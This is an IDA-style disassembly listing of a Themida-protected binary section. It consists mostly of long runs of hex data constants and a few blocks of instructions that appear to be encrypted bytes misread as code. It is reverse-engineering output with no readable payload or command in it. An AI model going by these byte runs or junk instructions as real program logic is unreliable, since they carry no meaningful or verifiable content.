		dd 762B336Bh, 0BB6E26BBh, 0D0D8B6C8h, 0CA695A7Fh, 64937C2h
		dd 0D0D8B1C5h, 498235A8h, 0A29B2A0Fh, 4920884Ch, 0EA275405h
		dd 0AC9971B7h, 0E053D0DEh, 5897275Ah, 0A9A0C992h, 867546DFh
		dd 35A85A4Ah
		db 87h,	4Ch
word_5FE06A	dw 7DCEh		; DATA XREF: Themida_:005966D8o
		dd 65B7E713h, 0CC99545h, 2A530649h, 0DEF8CB6Dh,	0AFDF2B4h
		dd 0BB27BB00h, 612280EAh, 0D8ABFBAEh, 0C20549D0h, 7704D8ACh
		dd 0E7F573BAh, 557E2D50h, 2846DF73h, 64B9043h, 0A89797C1h
		dd 0E4A8535h, 99A1662Bh, 0FA8ED1E4h, 22024E01h,	23A82088h
		dd 0C1F25031h, 0C6390208h, 0AFE95F30h, 22543B4Ah, 239665E5h
		dd 98516207h, 208868BCh, 0CBFC9165h, 95E2C20Eh,	0D4A80CC9h
		dd 0DFAB5E87h, 8443746h, 4B5B9C21h, 4C8735A8h, 66A1EBCEh
		dd 68A417E4h, 6498890h,	0D0D8B1C5h, 67C30449h, 91B97202h
		dd 0A83E6EAAh, 0AB5E87D4h, 443746DFh, 7FB8E008h, 46DFAB56h
		dd 0C803492Bh, 9F586F42h, 6DF10E7Bh, 0C736248Bh, 1FD26C1Fh
		dd 0E4B70B2Fh, 46DF61BBh, 8E497F92h, 95ADF1DBh,	4490CC9h
		dd 0A21467C3h, 614497CEh, 3E494377h, 0AC5DF9CBh, 0D0D83C60h
		dd 23550449h, 0A8E135E8h, 0AB5E87D4h, 443746DFh, 49B8E008h
		dd 0F645C506h, 8DEC9F5Bh, 9341E04Ah, 0A89C80CCh, 0C3478035h
		dd 8FDC1C78h, 46DFAB66h, 883A4C3Fh, 0C3044920h,	9B546247h
		dd 49F80C7Fh, 0F695B32Dh, 2C4C160Fh, 35A8C7E7h,	0F5004C87h
		dd 35A8AC69h, 7DCE4C87h, 54952613h, 8235A842h, 1E7AC149h
		dd 278762AAh, 4492088h,	2F1467C3h, 89467454h, 0D0B35956h
		dd 2088A084h, 0C9956941h, 0A827870Ch, 0B6C26323h, 0ADE754B2h
		dd 70D5FEADh, 0C3A846DFh, 49D0D8B3h, 88B3C304h,	0D53587F4h
		dd 520C29E8h, 0DA36E922h, 0A82787CAh, 0DFAADA03h, 0B6C8B346h
		dd 69412088h, 44D8C995h, 0BD5D9E21h, 0AB123B4Eh, 80EB46DFh
		dd 0EC38ADF5h, 0A2EEA16Ch, 8735A882h, 1C7DCE4Ch, 0A1AAB069h
		dd 38710277h, 9E763CBBh, 4E7724A0h, 2746DF11h, 0B8CE8174h
		dd 7FEB23A8h, 0FBBFB63Eh, 457DA888h, 0EF298276h, 23A8131Bh
		dd 2E5AD059h, 0B3E655F5h, 0BBBF8ECCh, 0DF04C7F0h, 0A3ED9E46h
		dd 35A8095Dh, 29004C87h, 8853A364h, 22B70F4h, 0DB46DFABh
		dd 49C0E430h, 0F843C700h, 0D4A8495Dh, 4CCE09B1h, 7307BFFh
		dd 0DE46DFABh, 97C0E32Dh, 6E46DFABh, 0D0D869BDh, 0C624BD7Fh
		dd 449D049h, 0AABEE7B4h, 0E49746DFh, 4D8DD31h, 709A5D61h
		dd 495D418Bh, 88B7C700h, 2CEF91F4h, 0B3F3DD2Eh,	8FB8B07Fh
		dd 4565CD49h, 490CC995h, 0A8B7C700h, 0AB5E87D4h, 0D23746DFh
		dd 5DB76AA3h, 601449EDh, 7C58A3A7h, 0C7004928h,	93BCEF63h
		dd 6A46DFABh, 0F7AA6517h, 2088899Dh, 0B3C30449h, 0D687F488h
		dd 0AF681F33h, 4A57877Ch, 6E92BBE0h, 806B46DFh,	4C5C5054h
		dd 490CC995h, 0D8B7C700h, 0EC5C6104h, 0DFAB96BFh, 0C9BC6F46h
		dd 8E9EFA41h, 0B7C70049h, 0C3D323A8h, 7D87A4C6h, 0EF63E713h
		dd 0DF1E93BCh, 57816A46h, 0B8B07F57h, 5CCD498Fh, 1CD7E598h
		dd 0C995EC30h, 0C700490Ch, 87D4A8B7h, 46DFAB5Eh, 0AA6AC437h
		dd 5B0710BFh, 18DCACE8h, 73975065h, 0ADAD6E1Eh,	7DA1EB5Eh
		dd 0B3C30449h, 35A8D0D8h, 7AC14982h, 0AFAB6C11h, 60DA705Ch
		dd 0D2000004h, 0DFD0FF7Fh, 499246h, 2088B7C7h, 3A82787h
		dd 46DFAADAh, 0D8B6C8B3h, 0C6907FD0h, 49ED46DFh, 79285100h
		dd 0E6239651h, 4DA114D5h, 0F3872088h, 5D298088h, 3566551Eh
		dd 46DF2D0Ch, 0D473AE1h, 0DA03A819h, 0B346DFAAh, 0EED1CCBFh
		dd 6F37BA14h, 0DF1DF31Ch, 6E21CA46h, 7FD0D818h,	46DFAB50h
		dd 0D5DF92F9h, 9689DB12h, 496ABAh, 0D0D8B7C7h, 0B3C30449h
		dd 478035A8h, 0FC1C78C3h, 8235A8ACh, 1E7AC149h,	4353943Bh
		dd 0D4A82088h, 0BDD00BB1h, 46DFAB94h, 0A5621469h, 0A9E356A5h
		dd 52A4B076h, 649DB38h,	0A81665C5h, 7E31E1FAh, 0D89094C0h
		dd 530649D0h, 0E036E92Eh, 2B70F488h, 46DFAB02h,	0C0E430DBh
		dd 0B3C30449h, 5E6104D8h, 428E7D9Dh, 0C5064962h, 87D0D8B1h
		dd 0B1D4A827h, 0F22B5A0Fh, 0E4301B3Fh, 0DFAB8EC3h, 802BAF46h
		dd 46DFAB57h, 17137D2Eh, 4DB5C664h, 2DE692BFh, 3FC1FAh
		dd 0F96C67A1h, 90F9ACD4h, 202B2FE8h, 2088B0F4h,	0B3C30449h
		dd 5492088h, 556558C2h,	0FC15709Ah, 0B9E90672h,	870CC995h
		dd 0CE03A827h, 6F46DFAAh, 72A83F1Ch, 0F9A2415Ch, 46DF17D0h
		dd 0C903F6A5h, 8C002AD1h, 0DF17B6DFh, 0B09C8F46h, 0A7D4A86Ch
		dd 1BDA32C7h, 0E93A162Dh, 46DFA7C0h, 599E2045h,	0C5C02B7Fh
		dd 3CEE089Dh, 3B725083h, 7D2932BFh, 0FFDBA08Ah,	0AC5532CDh
		dd 5BFF384Ah, 0AADC3DF0h, 321EED6Dh, 49D0D8F2h,	0D8B3C304h
		dd 0A82787D0h, 0C1498235h, 46DA1E7Ah, 0AB7099C2h, 564546DFh
		dd 0AB00297Ah, 26D546DFh, 91F488D0h, 0B72A30EBh, 0F645C502h
		dd 49D5C903h, 0AFDDB000h, 1265D674h, 46DFAAE9h,	0A1CCFBCh
		dd 45652088h, 5E87D4A8h, 3746DFABh, 0B9760744h,	0DF3CA65Fh
		dd 46C40749h, 2B9E5963h, 3A87E20h, 46DFAADAh, 0F0295EB3h
		dd 3A8E93Dh, 46DFAADAh,	0D8B6C8B3h, 0FA5E7FD0h,	493346DFh
		dd 0E165C506h, 0DFAB91BAh, 5DB76446h, 0C223A849h, 0CA8DD5D0h
		dd 0F8A04884h, 3A82787h, 46DFAADAh, 0D8B6C8B3h,	8535A8D0h
		dd 571D0E4Ah, 323852A4h, 2FC23A8h, 9DE5922Fh, 0BDB464AAh
		dd 0A7F146BEh, 60CA03B2h, 5D96BFECh, 2E5E46DFh,	8C9E6DEDh
		dd 60F6AC9Fh, 0FF738C3Bh, 0D0D89195h, 3A82787h,	46DFAACEh
		dd 0C7F0BBBFh, 9E46DFAAh, 88E43AEDh, 0EA6C87F4h, 0BE05F3BFh
		dd 6495252h, 8CE165C5h,	321901FEh, 0DFAAB6DFh, 0B09C8F46h
		dd 5C20886Ch, 0CC9954Ch, 3A82787h, 46DFAACEh, 0EA6ECCBFh
		dd 0DFAB98C1h, 52BE6D46h, 0B1D4A852h, 6B4ECC0Fh, 0E632E522h
		dd 0DFAB9CC5h, 748A7146h, 649D0D8h, 1DC2CA45h, 2C9F3A28h
		dd 49D0D8DAh, 0D8B7C700h, 882787D0h, 2BEC91F4h,	0ACF0DC2Fh
		dd 0AADA03A8h, 0C8B346DFh, 62098D4Dh, 46DFAB39h, 1A43680Ch
		dd 0F346DFABh, 2B7B5508h, 492088h, 7E0E63C7h, 0A85353BDh
		dd 0E4A8535h, 74972BAh,	201566C4h, 36F21768h, 3C36C2Dh
		dd 50219DD0h, 9AE3971Dh, 7B554FDCh, 0A720882Bh,	2057A8D3h
		dd 7371BE4Ah, 35A80519h, 77C44681h, 6FA96212h, 0B9817A0Ah
		dd 0D07AB7C4h, 0D8FD216Bh, 0C40749D0h, 0A82088B2h, 0AB5E87D4h
		dd 443746DFh, 0AAEE1708h, 49C346DFh, 6144C601h,	357C9E59h
		dd 0C926521Ch, 0CC99599h, 0B2C40749h, 797704D8h, 0D0AB455h
		dd 1F94ACFFh, 72B8602Ch, 0DF110029h, 7326D546h,	490519h
		dd 3BEE2951h, 7F2088EBh, 46DFAB56h, 0C700492Bh,	7704D8B7h
		dd 0D05B9260h, 40765341h, 5CB88387h, 0C4074948h, 492088B2h
		dd 88B7C700h, 0C8034920h, 0E15E6F42h, 0A0023B79h, 0C75BDFD8h
		dd 0DFAB6B94h, 7F594246h, 0CC9952Fh, 0B2C40749h, 5E6104D8h
		dd 0B2F97D9Dh, 46DFAB89h, 90FCAF5Ch, 0C700498Ch, 0BD7E0E63h
		dd 4262AE9Dh, 2787D0D8h, 7492088h, 6FEB2452h, 88D5299Ch
		dd 9EF38720h, 0C0E430E9h, 0AACE03A8h, 0A6F46DFh, 0B09BBF78h
		dd 47574464h, 596104D8h, 0D1844508h, 9696C249h,	0B2C40749h
		dd 0AA2D0D8h, 2C5923A8h, 1D64484Ch, 79538C3Ch, 567FA8FEh
		dd 2B46DFABh, 0C9954565h, 0ADDEA20Ch, 5E6E72B1h, 0E95CAA9Dh
		dd 49ABFBD5h, 88B3C304h, 1223A820h, 0AF128567h,	9EC00B45h
		dd 67C30449h, 0D4D5E114h, 0FCD8C765h, 49D0D8A8h, 88B3C304h
		dd 8135A820h, 1D77C446h, 0DFAAE10Ah, 7F016446h,	0AB77A0CBh
		dd 5D4E46DFh, 5F9B60EAh, 0DFAAE30Ch, 87D1BA46h,	540549A7h
		dd 9C6FEB24h, 3E4C2129h, 41FE59C1h, 817A0D9Dh, 3055A1CEh
		dd 72B5D988h, 91269BBFh
		dd 9649B258h, 23A86ABAh, 58D257DFh, 63F19F2h, 4497F5Ch
		dd 0D0D8B3C3h, 0B3C30449h, 567F2088h, 2B46DFABh, 0C9954C5Ch
		dd 0B404490Ch, 0DFAABEE7h, 31E49746h, 5FD0D8DDh, 94CE42C3h
		dd 0ECB25D78h, 4492088h, 2088B3C3h, 0D4A82787h,	0DFAB5E87h
		dd 8443746h, 0AB669BC0h, 544746DFh, 0A8D0D842h,	0A468135h
		dd 495D9A2Fh, 0AA2D0D8h, 8C450649h, 0BC102307h,	61ABCE83h
		dd 1FD2795Fh, 23A85AACh, 2FB8C065h, 2366271h, 0A827879Ah
		dd 0DFAADA03h, 62C8B346h, 0C49ACD19h, 0A4F0CD3Dh, 7FD0D880h
		dd 3CFC8FD7h, 0C50649AAh, 49D0D8B1h, 0EE295306h, 2088EB3Bh
		dd 4C8735A8h, 10137DCEh, 0D67F9C39h, 95456554h,	6490CC9h
		dd 0D0D8B1C5h, 0BBA323A8h, 30E27976h, 7EC2F5E4h, 0DED2042Dh
		dd 0E932D946h, 63B366A1h, 2B70F488h, 46DFAB02h,	0A6EB30DBh
		dd 0C612F961h, 8535A8E6h, 662B0E4Ah, 20884DA1h,	6E1D9165h
		dd 7B5CF055h, 0B2DB2E0Ah, 8B46DF43h, 81894276h,	998DC7BAh
		dd 498235A8h, 0E71E7AC1h, 6499E7Bh, 0D9D98645h,	0F1A473EDh
		dd 7DA6F549h, 5046DF4Ah, 0B3DC8FABh, 8A46DF49h,	0A877B7E1h
		dd 0C88DD523h, 0EE2AA777h, 35A8121Ah, 7BC04A85h, 54953811h
		dd 7F208842h, 0D67F9CA8h, 0A84C5CC5h, 0AB5E87D4h, 443746DFh
		dd 96B47307h, 10D26BA5h, 0C50649CBh, 0BB7C0065h, 23A84D51h
		dd 0B26809B5h, 0A5256F2Dh, 0A7D4A855h, 0BA3BC5E0h, 719AED10h
		dd 4446DEAFh, 6F1C7D57h, 20885CB2h, 50A6A8A6h, 149D0D8h
		dd 885B4BC6h, 53064920h, 9962E82Fh, 23A8D026h, 200263EFh
		dd 0A327713Bh, 1FD8EA8Fh, 7A7F135h, 0DFAB567Fh,	45652B46h
		dd 4C8735A8h, 0FA137DCEh, 0AA2A378h, 52A4A2A6h,	9AEB03A8h
		dd 0F9A23CFCh, 492088A5h, 0F645C506h, 23A84B5Bh, 6337AAE4h
		dd 46F2DE80h, 61DEEF82h, 0E37FF737h, 0BEFEE1FDh, 7239BD41h
		dd 46DFAB49h, 1256F1Ch,	870CC995h, 0DA03A827h, 0B346DFAAh
		dd 0D0D8B6C8h, 43C70049h, 0AAB3DC8Fh, 0E18A46DFh, 3257232Eh
		dd 7B0F4C85h, 63AD9EBCh, 49208843h, 9B6F4700h, 0A4ED6D82h
		dd 245CF849h, 0C3B6690Eh, 0A7D0D8B3h, 0AB567F07h, 7BFF46DFh
		dd 0DFAB0730h, 19ADDE46h, 216E9023h, 20045003h,	47C30449h
		dd 7D9D5662h, 52531F34h, 0DFAAE009h, 13C6B546h,	0D4A8D323h
		dd 0DFAB5E87h, 11443746h, 3CD9D516h, 0EC1973A4h, 35A89542h
		dd 466F3C84h, 1F46DFABh, 0AA91B96Ch, 49C4E06Eh,	366C407h
		dd 5252BE79h, 27872088h, 0AADA03A8h, 0C8B346DFh, 0BE790F62h
		dd 0D0D85252h, 74907A7h, 0D0D8B2C4h, 4A8535A8h,	0A2652B0Eh
		dd 0A820884Ch, 596F4623h, 0EF071588h, 5C4F8229h, 0A33789Dh
		dd 0E346DF35h, 180B4538h, 46DF34EFh, 954565C2h,	7490CC9h
		dd 0D0D8B2C4h, 5E87D4A8h, 3746DFABh, 9F210844h,	0D6FB9E5Ch
		dd 4437F087h, 661475C6h, 883F6FA9h, 0AB567F20h,	652B46DFh
		dd 0D8C99545h, 0B0F97DB3h, 18742C39h, 0C4074904h, 49D0D8B2h
		dd 5B4BC601h, 7492088h,	0D4A8B2C4h, 0DFAB5E87h,	0D1D01046h
		dd 2CF5651Dh, 37E32DDEh, 0A8278767h, 0ACD18035h, 0A91CEF6Bh
		dd 8BC0EB6Fh, 6246DFABh, 0D0D865B9h, 0F65323A8h, 0D9300046h
		dd 832D6EE6h, 6525D1Fh,	54AA6D13h, 5E6104D8h, 0A873B39Dh
		dd 0C2488335h, 0FA60DFEFh, 0EC725E11h, 0C50649B8h, 7F2088B1h
		dd 0FEE1FDE3h, 0C50649BEh, 49D0D8B1h, 88B7C700h, 71D487F4h
		dd 18944507h, 649E83Ch,	2088B1C5h, 0C9956941h, 4700490Ch
		dd 76D4EC99h, 0DAEE2B72h, 5F12F961h, 87D0D84Fh,	32C7FF3h
		dd 0EB46DFABh, 111565A2h, 0DFAB214Ah, 5407F446h, 35A82478h
		dd 0BCF4B84h, 0DFAB3760h, 0AA1D0E46h, 4536CA6Eh, 67BE496Bh
		dd 0BEEE2AF1h, 0B1C50649h, 7A7D0D8h, 0DFAB567Fh, 307BFF46h
		dd 46DFAB07h, 0C3E32DDEh, 0C9954565h, 0E2D3B3D8h, 8E83DB06h
		dd 0AA26242h, 0DFFB367Fh, 4494B46h, 0F488B3C3h,	0AB022B70h
		dd 30DB46DFh, 2787C0E4h, 0AADA03A8h, 0C8B346DFh, 7FD0D8B6h
		dd 0C8994606h, 0C304499Bh, 49D0D8B3h, 0A8B7C700h, 79BABC23h
		dd 3DA39651h, 2B5407C8h, 246DEEEh, 5065A619h, 4C887397h
		dd 0BBA328ACh, 6F2A6E8Bh, 33B28CFFh, 0C5630A77h, 0D4A89B8Bh
		dd 0AAE20B50h, 0D0BB46DFh, 0DFAB94BDh, 56826946h, 85995E63h
		dd 69412088h, 0A80CC995h, 0C1498235h, 923B1E7Ah, 59CD66D5h
		dd 0DD902991h, 6104D8C9h, 8B709A5Dh, 27875D41h,	0B50D4A8h
		dd 46DFAAE2h, 94BDD0BBh, 6946DFABh, 0F3A66314h,	0AAFB2477h
		dd 29D246DFh, 0A8634BEFh, 0C4468135h, 0AC651277h, 83440960h
		dd 649FD4A7h, 0C6CAAB12h, 90B59D93h, 1E7AF237h,	0A7D0D80Eh
		dd 0AB567F07h, 5C2B46DFh, 0CC9954Ch, 7490AA2h, 0AABFE8B3h
		dd 0E59646DFh, 0E7B40832h, 46DFAABEh, 74A8E497h, 0CD87F488h
		dd 56416010h, 0F32C5Ah,	3A8D0D4h, 46DFAADAh, 0F983C8B3h
		dd 0A893133Eh, 0DFAADA03h, 0B6C8B346h, 0FF2B23A8h, 390D70FEh
		dd 84F76BDFh, 3A5C8189h, 1256F92h, 0CBED3A7h, 90FC4FCBh
		dd 5207498Ch, 8D4A7C23h, 0D81767DAh, 0C40749D0h, 7F2088B2h
		dd 46DFAB56h, 9545652Bh, 7490CC9h, 0D09B2552h, 46DFABA7h
		dd 30DA8D7Eh, 0D80618CBh, 0C40749D0h, 7F2088B2h, 46DFAB56h
		dd 9545652Bh, 7490CC9h,	0D0D8B2C4h, 35A82787h, 0EC0C4883h
		dd 0F223A8BCh, 3CEE2514h, 52625781h, 35A88599h,	7DCE4C87h
		dd 87B7E713h, 0B1D4A827h, 0FE4DCD0Eh, 0AB5C9192h, 0CA3146DFh
		dd 3A61F7C0h, 0B0D9823Dh, 8546DF17h, 1E702396h,	807704D8h
		dd 365F0C89h, 0F46DF4Ch, 258B291Ch, 497AAAE6h, 0E266C407h
		dd 1E782399h, 0A7FA3C37h, 46DF137Eh, 3468A457h,	0CF7704D8h
		dd 6068024Ah, 87BFEF29h, 8535A827h, 0BA6DAADCh,	0A8F2BA5Eh
		dd 49835623h, 12A26F7Dh, 17CA31D9h, 0A677373Dh,	884EA0A6h
		dd 0B3F47F20h, 0DB89DA8Bh, 8435A8D3h, 6AF4014Bh, 0D0F68FADh
		dd 7FFA4776h, 0AA000003h, 2F530649h, 0F01942E8h, 0C546DFAAh
		dd 881363D6h, 0AB567F20h, 0A82B46DFh, 0E20B50D4h, 0BB46DFAAh
		dd 0AB94BDD0h, 826946DFh, 689DC54Fh, 844F7A9h, 495D9E21h
		dd 149D0D8h, 2088B0C6h,	0B7C70049h, 677F2088h, 3A06DA93h
		dd 63C70049h, 0AB93BCEFh, 816A46DFh, 99F33458h,	49D0D885h
		dd 0C2EBB000h, 9B46DFAAh, 0AAABD487h, 998246DFh, 88237326h
		dd 0E3117F20h, 656C06B2h, 52781D91h, 73867595h,	46DFAB4Ah
		dd 60D9EE23h, 954363ADh, 17A5D8C9h, 0AAD700ABh,	0FDAE46DFh
		dd 0D13B000Ah, 87D4A8CDh, 46DFAB5Eh, 5E36C437h,	6D36BA6Bh
		dd 527B5EBAh, 8D305595h, 137DCE4Ch, 49D0D813h, 88B7C700h
		dd 22B70F4h, 0DB46DFABh, 9FB9FD30h, 0E43E09F0h,	23A874A8h
		dd 64B2867Fh, 0E0C30DC7h, 0F983218Ah, 0B9E04A31h, 0A444701h
		dd 0EC6D31D7h, 93FD1F28h, 0F3985C93h, 38C0D58Dh, 0B0D9821Ah
		dd 8546DF77h, 0B5E92396h, 478035A8h, 0A96EF00Dh, 0B7C70049h
		dd 23A8D0D8h, 6F7F26ACh, 0DD0655D0h, 0B046DEADh, 0DD3C18CBh
		dd 882373ACh, 0A7D4A820h, 0AF1F058Ch, 0E60F627Ch, 0BF46DF52h
		dd 6AF0295Ah, 0C1E22EE1h, 3B3A0DEAh, 518A3E53h,	69412707h
		dd 54AA23A8h, 9D132A7Dh, 3D89AB3h, 80D23A8h, 921E9FE0h
		dd 0AEE138D0h, 0F420F749h, 1FADF485h, 75C97124h, 58AB6C10h
		dd 46DEDF2Fh, 18221506h, 34899C6h, 0D8998DC7h, 0C70049D0h
		dd 70F488B7h, 0ACAE691Dh, 0AB234C5Fh, 11FA46DFh, 2345EEDEh
		dd 0FBD5BF42h, 0C60149ABh
		dd 49D0D8B0h, 0D8B7C700h, 0A82787D0h, 0DFAACE03h, 0C0EB6F46h
		dd 46DFAB97h, 686FC949h, 395113DCh, 79220652h, 49208825h
		dd 88B0C601h, 954C5C20h, 27870CC9h, 0AACE03A8h,	0CCBF46DFh
		dd 0DA03A8BAh, 6346DFAAh, 5DBE7F0Eh, 0E269F12Ah, 758972B6h
		dd 488335A8h, 876CBC0Ch, 87F48827h, 0D15B1E80h,	24785401h
		dd 2E500149h, 0A8E036E9h, 0ADDD8435h, 0B09BBF72h, 0A794E464h
		dd 8435A807h, 0F51E014Bh, 0CC46DFAAh, 0A3EA9165h, 991AFE0Ah
		dd 95A185CFh, 0AA20CC9h, 3A82787h, 46DFAADAh, 93BCEF63h
		dd 6A46DFABh, 0AB7CA5F6h, 0AA5146DFh, 9E8D9DF7h, 49208888h
		dd 88B1C506h, 0A8456520h, 0AA8FA7D4h, 3AD47762h, 0DF01BEE7h
		dd 0A8E49746h, 0A804D19Dh, 0DFAADA03h, 0FF579446h, 8640EB4Ah
		dd 1A8C8774h, 478035A8h, 0DC1C78C3h, 0EA943358h, 8F4EDC47h
		dd 87396245h, 0AFDC46DFh, 0B24D3CA2h, 0F1B75AEh, 2873FD8Ah
		dd 46DF06FFh, 0E87225D6h, 0A85EB063h, 0DFAADA03h, 90186346h
		dd 5A2C8DF4h, 0B86BA4D5h, 9B5F4C5Ch, 3A16D7E6h,	6623A8EAh
		dd 221DAFBBh, 21894EEFh, 5BDF13F7h, 40539426h, 46DF2C17h
		dd 24E3ABEEh, 87072771h, 0B1D4A827h, 0F98ACF08h, 0E7311A00h
		dd 0DFAB9BC4h, 6F1F7246h, 0B4569726h, 85769447h, 2088BCD2h
		dd 6CC5557Fh, 45652810h, 490CC995h, 5A4CC700h, 0CC2223A8h
		dd 388DFBF5h, 0B6E25592h, 3D0F9A2h, 0F6A546DFh,	82ABF074h
		dd 5B46DF04h, 0A84064B0h, 0DFAADA03h, 0B6C8B346h, 2787D0D8h
		dd 0D83D23A8h, 0C89225F0h, 493C6C8Ch, 0D8B1C506h, 7F07A7D0h
		dd 46DFAB56h, 0A845652Bh, 0C2488335h, 7CE61F79h, 8535A89Fh
		dd 0FF7BC04Ah, 0DFAB83ACh, 67B15A46h, 0F387CD99h, 0AAB1EA9Eh
		dd 0D5124566h, 0E6C612C5h, 0E891F488h, 0F4202B2Fh, 882787B0h
		dd 88278720h, 87D4A820h, 46DFAB5Eh, 21084437h, 0D84B5B9Ch
		dd 7F07A7D0h, 46DFAB56h, 0FC91652Bh, 0E3C30DCAh, 0B3D8C995h
		dd 4417112Dh, 46DEC51Bh, 77D609F2h, 0B8B8AAA1h,	0DFA96079h
		dd 0A2FC206Ch, 0E8115ADEh, 8C46DFAAh, 4F703FCh,	617FD4C8h
		dd 3C46DFFBh, 0B7C70049h, 415F2088h, 0DEB74C25h, 0B06B117Ah
		dd 0F0B6A1AAh, 0AADA03A8h, 0E6346DFh, 54548079h, 0D0D857A7h
		dd 4907A7h, 0AAC2EBB0h,	0F09B46DFh, 0D0D8E93Dh,	0B7C70049h
		dd 567F2088h, 0FF46DFABh, 0D933EC9Ah, 954565C5h, 14A5D8C9h
		dd 0AAD6FFACh, 0FCAF46DFh, 49DFCF09h, 0A8B7C700h, 0C2488335h
		dd 63AB1F79h, 2F510049h, 5C3139ECh, 0E269F12Eh,	35A876B6h
		dd 0CC04A85h, 0DFAB365Fh, 0A91C0F46h, 7FE3CB6Fh, 46DFAB56h
		dd 9545652Bh, 35A80CC9h, 29004C87h, 0EE83A760h,	10FB1FD8h
		dd 0D0D8E0C4h, 35A82787h, 0DC14982h, 0DFAB355Eh, 0B0630846h
		dd 49E4B464h, 88B7C700h, 898987F4h, 47F9D2A4h, 2787190Dh
		dd 0AACE03A8h, 0CCBF46DFh, 85420B6Eh, 4A5AB685h, 49D0D8h
		dd 35A8B7C7h, 79C24883h, 0A263AB1Fh, 0BED3A70Ah, 0C78BD009h
		dd 0A8D0D400h, 0CF08B1D4h, 84ADC04Bh, 5946DFABh, 1C4566B2h
		dd 0F546DFABh, 43C70049h, 7F9B5C6Eh, 0A8B26B1Ah, 68CA73A3h
		dd 0A8C7E710h, 0C4468135h, 7EE01D77h, 0A80AA299h, 33468135h
		dd 46DFAB0Ah, 5D1D38E3h, 0C8529738h, 88150943h,	0DA03A820h
		dd 0B346DFAAh, 88594DC8h, 0C7004920h, 8135A8B7h, 6EBE0A46h
		dd 567F07A7h, 2B46DFABh, 0C9954565h, 0EE1744D8h, 0C746DFAAh
		dd 0A8A4F8D4h, 0C488335h, 149A6C6h, 0CD9E2E50h,	46DFABA4h
		dd 3BDF9279h, 0C78BD0h,	2088394Dh, 0D18035A8h, 61EA70ABh
		dd 755FACAEh, 681B60EAh, 707B5BA6h, 49C2E22Eh, 0D8B0C601h
		dd 0C20549D0h, 65211378h, 708FB8E3h, 0B56646DFh, 0CF800242h
		dd 2088A185h, 0FCC8357Fh, 549481Ah, 0D0D8ACC2h,	0ACC20549h
		dd 317F2088h, 4C1AFCC8h, 0C9954C5Ch, 0C205490Ch, 0B6710578h
		dd 4F883194h, 0D86CB09Ch, 9C5F6104h, 63438D7Eh,	0B0C60149h
		dd 237F2088h, 7ED5DD94h, 5704985Ch, 46DFAB2Eh, 0C4468736h
		dd 1F82377h, 0CA337CB9h, 0D5C903F6h, 3B7A23A8h,	402029ADh
		dd 0A075F914h, 64C60149h, 52BE7901h, 49D0D852h,	164C601h
		dd 0AF9CBE79h, 20884165h, 0ACC20549h, 45652088h, 490CC995h
		dd 0C1EAB101h, 9446DFAAh, 0DB14A2E7h, 4D81668h,	7AE05B61h
		dd 49674791h, 164C601h,	0B19A807Bh, 20884767h, 0DD94237Fh
		dd 8337AAD5h, 65140844h, 8535A845h, 117BC04Ah, 499D7AE4h
		dd 0D8B0C601h, 420549D0h, 701F21D2h, 6C3F3B45h,	46DF2D43h
		dd 68BE711Ah, 149D0D8h,	0F488B0C6h, 3696FB87h, 0F5A01769h
		dd 4145B871h, 0E83C187Ch, 0C9A7D4A8h, 2974249Ch, 7ADD629h
		dd 9B8046DFh, 8456EB1h,	651C46DFh, 0CC99545h, 2C500149h
		dd 0D8E638EBh, 7FF387D0h, 0DFAB032Ch, 0E731DA46h, 0A82088C7h
		dd 0C1498235h, 933B1E7Ah, 20884254h, 3A82787h, 46DFAACEh
		dd 0A8BACCBFh, 88341523h, 0ABE5CDC8h, 149CFDFh,	0D0D8B0C6h
		dd 64440AA2h, 47C30449h, 1DDAEF8Ch, 0A7D489ADh,	311BE06Ah
		dd 0E16E2CEEh, 7D7F644Fh, 96C9469Dh, 7846E0E0h,	46E03A4Bh
		dd 22563385h, 0ACDC31E9h, 0FF1BD4E5h, 7C2FE89Ah, 9FC28189h
		dd 46E03A72h, 8CFF7BECh, 0EEE0774Dh, 0E8292343h, 0C8A405FCh
		dd 4A873415h, 0D6117BC0h
; ---------------------------------------------------------------------------


loc_5FF614:				; CODE XREF: Themida_:005FF68Fj
		xchg	eax, ebx
		db	3Eh
		mov	al, 0DFh
		inc	esi
		or	edx, [edx]
		push	eax
		push	ebp
		adc	cl, bh
		hlt
; ---------------------------------------------------------------------------
		dd 9216469Ch, 2325A0C9h, 88FC5247h, 0A71AF035h,	5F63A853h
		dd 0C9EBC98h, 0DA000000h, 0E9EA06B1h, 3B15FA9Ah, 49E0C8EBh
		dd 6C41C902h, 267E35Ch,	3B9EBC75h, 0D2B75394h, 8CE169A2h
		dd 0A61B3FF8h
		db 15h,	0D4h, 36h
; ---------------------------------------------------------------------------


loc_5FF663:				; CODE XREF: Themida_:005FF6A7j
		push	ebx
		das
		call	near ptr 80DF05CCh
		call	far ptr	0AEAh:0A13F68B9h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		xor	[ebx+57h], cl
		and	al, 0C1h
		test	al, 4Ch
		push	ecx


loc_5FF67E:				; CODE XREF: Themida_:005FC62Cj
		dec	dl
		in	al, dx
		push	ebp
		push	cs
		test	al, 43h
		ror	byte ptr [edx-76h], cl
		sub	ebx, [edx+0Eh]
		test	al, 0ABh
		aad	0EAh
		jnz	short loc_5FF614
		pop	edx
		push	cs
		test	al, 49h
		ror	dword ptr [edx-76h], cl
		mov	edx, 2657AE5Dh
		ror	dword ptr [edx-76h], cl
		rep pop	ebx
		push	cs
		test	al, 0ABh
		aad	0EAh
		jnz	short loc_5FF663
		pop	ebx
		push	cs
		test	al, 14h
		ror	byte ptr [edx-76h], 1
		les	ebx, [eax+0Eh]
		test	al, 96h
		ror	byte ptr [edx-76h], 1
		mov	esi, 0ABA80E58h
		aad	0EAh		; CODE XREF: Themida_:005FF73Bj
		jnz	short loc_5FF6E6
		das
		aam	1Fh
		xchg	al, al
		pop	ds
		add	eax, eax
		sub	al, 80h
		inc	edx
		pop	esi
		cmpsd
		nop
		scasd
		xchg	eax, esi
		dec	eax
		pop	ebx
		and	ecx, edx
		mov	eax, 2F4F60C4h
		aam	0D4h
		xchg	eax, eax
		pop	ds
		add	eax, eax
		xor	al, 80h
		inc	edx
		pop	esi
		cmpsd


loc_5FF6E6:				; CODE XREF: Themida_:005FF6BFj
		nop
		pop	esi
		xchg	eax, esi
		dec	eax
		pop	ebx
		and	ecx, edx
		mov	ah, 0C4h
		pusha
		dec	edi
		das
		aam	83h
		add	al, 1Fh
		add	eax, eax
		add	[eax-6F58A1BEh], al
		or	dl, [ecx-2EDEA4B8h]
		add	ah, 60h
		dec	edi
		das
		aam	6Ch
		add	al, 1Fh
		add	eax, eax
		or	al, 80h
		inc	edx
		pop	esi
		cmpsd
